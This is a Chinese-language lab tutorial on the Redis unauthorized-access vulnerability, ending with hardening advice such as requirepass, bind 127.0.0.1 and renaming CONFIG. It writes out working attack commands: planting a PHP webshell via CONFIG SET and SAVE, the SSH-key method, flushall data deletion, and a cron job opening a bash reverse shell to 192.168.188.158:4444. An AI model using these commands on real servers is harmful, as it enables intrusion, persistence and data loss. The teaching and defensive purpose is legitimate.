Redis未授权访问漏洞 | 您所在的位置:网站首页 › 关于redis未授权访问漏洞正确的是什么 › Redis未授权访问漏洞 |
介绍
Redis默认配置是不需要密码认证的,也就是说只要连接的redis服务器的host和port正确,就可以连接使用。因此如果配置不当(没有启用redis的认证密码),可以造成上传webshell,数据库泄露,代码执行,敏感信息泄露,写入ssh公钥,利用计划任务反弹shell等 环境:kali(vps) 192.168.188.128 kali(web服务器) 192.168.188.158 当用Namp扫描发现6379端口对外开放时,用web服务器连接vps Config set dir [path]: 决定文件的写入路径 Config set dbfilename [filename] :决定文件名 Set key value: 确定文件的内容,key值任意即可,value为文件内容 save命令: 确定以上所有操作并生成文件 漏洞利用 1.Redis未授权访问获取敏感信息命令:info 命令: flushall (删除所有数据) del key (删除键为key的数据) 注意:用redis写文件会出现一定的乱码,只要在数据前后加上至少三个\n就解决了,如果不加的话,会导致shell执行失败 命令: config set dir /var/www/html config set dbfilename shell.php set x “\n\n\n\n\n\n” save 利用原理:ssh免密码登录,方法为使用“公私钥”认证,在客户端上创建一对公私钥,然后把公钥放在服务器上,在ssh登录时候,ssh会发送私钥和服务器上的公钥做匹配,如果匹配成功则可以登录。 利用条件:redis服务使用root账号启动 redis服务无密码认证或者使用弱口令进行认证 服务器开放了ssh服务,且可以使用密钥登录 (1)先在本地生成ssh公私钥文件 命令:ssh-keygen -t rsa 命令: set shell “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.188.158/4444 0>&1\n\n” config set dir /var/spool/cron config set dbfilename root Save Redis设置一个shell为key,每一分钟向192.168.188.158的4444端口发送一个bash交互式请求,然后利用config命令保存定时任务 网上收集的一些修复建议: 禁止一些高危命令 修改 redis.conf 文件,添加 rename-command FLUSHALL “” rename-command CONFIG “” rename-command EVAL “” 来禁用远程修改 DB 文件地址 以低权限运行 Redis 服务 为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆 $ groupadd -r redis && useradd -r -g redis redis 为 Redis 添加密码验证 修改 redis.conf 文件,添加 requirepass mypassword 禁止外网访问 Redis 修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用 bind 127.0.0.1 保证 authorized_keys 文件的安全 为了保证安全,您应该阻止其他用户添加新的公钥。 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限: $ chmod 400 ~/.ssh/authorized_keys 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限: #chattr +i ~/.ssh/authorized_keys 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限: #chattr +i ~/.ssh 注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。 参考链接:https://www.freebuf.com/column/158065.html |
CopyRight 2018-2019 实验室设备网 版权所有 |